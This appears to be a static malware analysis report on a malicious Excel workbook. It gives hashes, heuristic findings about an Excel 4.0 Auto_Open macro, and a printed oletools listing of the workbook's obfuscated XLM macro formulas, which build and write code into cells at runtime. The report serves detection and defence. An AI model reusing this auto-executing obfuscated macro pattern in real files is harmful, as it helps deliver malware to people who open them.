Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 15195563f365fece…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:02 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 695e5b29d4dd1fe3374572b5f7094b51 SHA-1: d8f028616a2067af5839515f8799000d601d9998 SHA-256: 15195563f365feced73105e924ab051f2f95a352cf465d78db7aee02369ce35e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6643 bytes
SHA-256: 1a7b2ad8bf6482a76db91e788e3a60d4fb7c652942563b1b866e3fa86a36e0d7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  CShvWJSHuC
' 0018     25 LABEL : Cell Value, String Constant - ASEjXXEudJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - aubLt len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E163 
' 0018     20 LABEL : Cell Value, String Constant - BhxPS len=0 
' 0018     25 LABEL : Cell Value, String Constant - BSMwXqaeaR len=0 
' 0018     27 LABEL : Cell Value, String Constant - dOsBvzDRJEYc len=0 
' 0018     22 LABEL : Cell Value, String Constant - eCgUnzY len=0 
' 0018     21 LABEL : Cell Value, String Constant - GeJOBi len=0 
' 0018     25 LABEL : Cell Value, String Constant - GFhKsOMqAc len=0 
' 0018     26 LABEL : Cell Value, String Constant - HExwFDTVLdA len=0 
' 0018     21 LABEL : Cell Value, String Constant - HKuQrY len=0 
' 0018     22 LABEL : Cell Value, String Constant - IakQKVY len=0 
' 0018     25 LABEL : Cell Value, String Constant - iIgnMRgUWK len=0 
' 0018     26 LABEL : Cell Value, String Constant - IRxnFvxiJKr len=0 
' 0018     27 LABEL : Cell Value, String Constant - JGSnWHRtbfeY len=0 
' 0018     24 LABEL : Cell Value, String Constant - MRpVaHCVY len=0 
' 0018     23 LABEL : Cell Value, String Constant - MxdwUNiW len=0 
' 0018     26 LABEL : Cell Value, String Constant - RrTnmyxwBDk len=0 
' 0018     21 LABEL : Cell Value, String Constant - TmouCR len=0 
' 0018     27 LABEL : Cell Value, String Constant - veSKamjcaaVe len=0 
' 0018     27 LABEL : Cell Value, String Constant - xBmUDXboEhrM len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  CShvWJSHuC,E79,"SET.NAME("ASEjXXEudJ",VALUE("0"))",""
'  CShvWJSHuC,E81,"SET.NAME("veSKamjcaaVe",ASEjXXEudJ)",""
'  CShvWJSHuC,E85,"SET.NAME("HExwFDTVLdA",ASEjXXEudJ)",""
'  CShvWJSHuC,E87,"SET.NAME("IRxnFvxiJKr",COUNTA(dOsBvzDRJEYc))",""
'  CShvWJSHuC,E90,"SET.NAME("RrTnmyxwBDk",COUNTA(HKuQrY))",""
'  CShvWJSHuC,E95,[],""
'  CShvWJSHuC,E98,"SET.NAME("GeJOBi","")",""
'  CShvWJSHuC,E102,"veSKamjcaaVe",""
'  CShvWJSHuC,E104,"SET.NAME("BSMwXqaeaR",HLOOKUP("*",dOsBvzDRJEYc,veSKamjcaaVe,FALSE))",""
'  CShvWJSHuC,E107,"GFhKsOMqAc",""
'  CShvWJSHuC,E109,"SET.NAME("eCgUnzY",ASEjXXEudJ)",""
'  CShvWJSHuC,E111,[],""
'  CShvWJSHuC,E116,"eCgUnzY",""
'  CShvWJSHuC,E118,"aubLt",""
'  CShvWJSHuC,E121,"IakQKVY",""
'  CShvWJSHuC,E126,"MxdwUNiW",""
'  CShvWJSHuC,E131,"SET.NAME("xBmUDXboEhrM",VALUE(HLOOKUP("*",HKuQrY,MxdwUNiW,FALSE)))",""
'  CShvWJSHuC,E134,"TmouCR",""
'  CShvWJSHuC,E136,"GeJOBi",""
'  CShvWJSHuC,E140,"HExwFDTVLdA",""
'  CShvWJSHuC,E144,NEXT(),""
'  CShvWJSHuC,E149,"BhxPS",""
'  CShvWJSHuC,E152,"SET.NAME("f",INT(T(FORMULA(T(GeJOBi)&"",""&T(BhxPS)))))",""
'  CShvWJSHuC,E156,"JGSnWHRtbfeY",""
'  CShvWJSHuC,E159,NEXT(),""
'  CShvWJSHuC,E161,RETURN(),""
'  CShvWJSHuC,E191,"SET.NAME("iIgnMRgUWK",E79)",""
'  CShvWJSHuC,E194,"dOsBvzDRJEYc",""
'  CShvWJSHuC,E198,"SET.NAME("HKuQrY",R75C11)",""
'  CShvWJSHuC,E203,"SET.NAME("JGSnWHRtbfeY",213)",""
'  CShvWJSHuC,E207,"SET.NAME("MRpVaHCVY",5)",""
'  CShvWJSHuC,E212,iIgnMRgUWK(),""
'  CShvWJSHuC,E213,HALT(),""

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